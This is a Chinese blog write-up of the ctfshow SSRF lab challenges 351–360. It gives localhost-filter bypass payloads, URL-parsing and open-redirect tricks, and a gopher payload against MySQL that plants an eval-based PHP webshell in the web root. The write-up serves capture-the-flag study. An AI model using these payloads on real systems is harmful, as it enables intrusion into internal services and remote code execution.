ctfshow-SSRF

常见绕过

1

127.0.0.1被过滤时,可以使用127.1 0 0.0.0.0 sudo.cc 017700000001 2130706433 等等。如果某些字符串被过滤了,尝试对字符串进行两次url编码。

SSRF具有基于白名单的输入过滤器

某些应用程序只允许与允许值的白名单匹配、以其开头或包含其的输入。在这种情况下,有时可以利用URL解析中的不一致性来绕过过滤器。

URL规范包含许多在实现对URL的即席解析和验证时容易被忽略的特性:

1、可以使用@字符在主机名之前的 URL 中嵌入凭据。 例如:
    https://expected-host(预期主机)@evil-host(恶意主机)

2、可以使用 # 字符来表示 URL 片段。例如:
    https://evil-host(恶意主机)#expected-host(预期主机)

3、可以利用DNS命名层次结构将所需的输入放入您控制的完全限定DNS名称中。例如:
    https://expected-host.evil-host

4、可以对字符进行URL编码以混淆URL分析代码。如果实现筛选器的代码与执行后端HTTP请求的代码处理URL编码的字符的方式不同,则这一点特别有用

5、可以将这些技术结合使用

通过开放重定向绕过 SSRF 过滤器

有时可以通过利用开放重定向漏洞来规避任何类型的基于过滤器的防御。

在前面的 SSRF 示例中,假设用户提交的 URL 被严格验证以防止恶意利用 SSRF 行为。但是,允许使用 URL 的应用程序存在开放重定向漏洞。如果用于发出后端 HTTP 请求的 API 支持重定向,您可以构建一个满足过滤器的 URL,并将请求重定向到所需的后端目标。

例如,假设应用程序包含一个开放重定向漏洞,其中包含以下 URL:

/product/nextProduct?currentProductId=6&path=http://evil-user.net

返回重定向到:

http://evil-user.net

可以利用开放重定向漏洞绕过URL过滤,利用SSRF漏洞,方法如下:

POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

此 SSRF 漏洞利用之所以有效,是因为应用程序首先验证提供的stockAPIURL 是否位于允许的域中,而事实确实如此。然后应用程序请求提供的 URL,这会触发打开重定向。它遵循重定向,并向攻击者选择的内部 URL 发出请求。

352 353

352

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

parse_url

parse_url — 解析 URL,返回其组成部分

curl_setopt — 设置一个cURL传输选项

ch

由 curl_init() 返回的 cURL 句柄。

option

需要设置的CURLOPT_XXX选项。

value

将设置在option选项上的值。

<?php

//初始化一个cURL会话
$ch = curl_init();

//设定请求的RUL
curl_setopt($ch, CURLOPT_URL, 'www.baidu.com');

//设定返回信息中包含响应信息头
curl_setopt($ch, CURLOPT_HEADER, 1);// 	启用时会将头文件的信息作为数据流输出。 
//参数为1表示输出信息头,为0表示不输出



//设定curl_exec()函数将响应结果返回,而不是直接输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, false);//TRUE 将curl_exec()获取的信息以字符串返回,而不是直接输出。 
//参数为1表示$html,为0表示echo $html





//执行一个cURL会话
$html = curl_exec($ch);

//关闭一个surl会话
curl_close($ch);

//输出返回信息  如果CURLOPT_RETURNTRANSFER参数为fasle可省略
//echo $html;
127.1会被解析成127.0.0.1,也就意味着为零可缺省
在Linux中,0也会被解析成127.0.0.1
127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
ip地址还可以通过表示成其他进制的形式访问,IP地址二进制、十进制、十六进制互换

1

十进制整数:url=http://2130706433/flag.php
十六进制:url=http://0x7F.0.0.1/flag.php
八进制:url=http://0177.0.0.1/flag.php
十六进制整数:url=http://0x7F000001/flag.php 缺省模式:127.0.0.1写成127.1
CIDR:url=http://127.127.127.127/flag.php和 url=http://0/flag.php
url=http://0.0.0.0/flag.php

354

使用http://sudo.cc这个域名是指向127.0.0.1的。
payload:url=http://sudo.cc/flag.php

355

payload:url=http://0/flag.php

356

payload:url=http://0/flag.php

357

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> 

gethostbyname 函数从主机数据库中检索与主机名对应的主机信息。

filter_var() 函数通过指定的过滤器过滤变量。
如果成功,则返回已过滤的数据,如果失败,则返回 false。

FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

RFC1918指定的私有地址有哪些?

A类:10.0.0.0/8即10.0.0.010.255.255.255
B类:172.16.0.0/12即172.16.0.0
172.31.255.255
C类:192.168.0.0/16即192.168.0.0~192.168.255.255

358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
} 

正则表达式表明l以ctf.开始以show结束,中间任意

当parse_url()解析到邮箱时:@前面是user
file_get_contents()会访问host:port/path,与user无关

1

web359

打无密码的mysql
点击登陆后进入check.php文件。啥也没有,返回主页查看源码。
1发现了这个,看来一些wp,是要用gopher协议打MYSQL,,这里用到这个工具gopherus

2
意思就是输入MySQL的用户名,再给出要运行的语句。
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';

这是一个MySQL查询语句,它会将一个PHP代码片段写入到目录”/var/www/html/“下的文件”2.php”中。
所写入的PHP代码是”“。这段代码会创建一个PHP脚本,该脚本接受一个名为”cmd”的POST请求参数,然后将”cmd”参数的内容作为PHP代码执行。
这段代码可能被攻击者用来在Web服务器上创建一个后门,使得攻击者可以通过发送特制的POST请求来执行任意命令。

3
**_**后面的url再进行一次url编码。
然后进入check.php文件post
returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2532%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501
这时2.php文件已经成功写入,访问2.php文件进行命令执行得到flag。

web360

打redis
redis的端口是6379
打redis即可

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信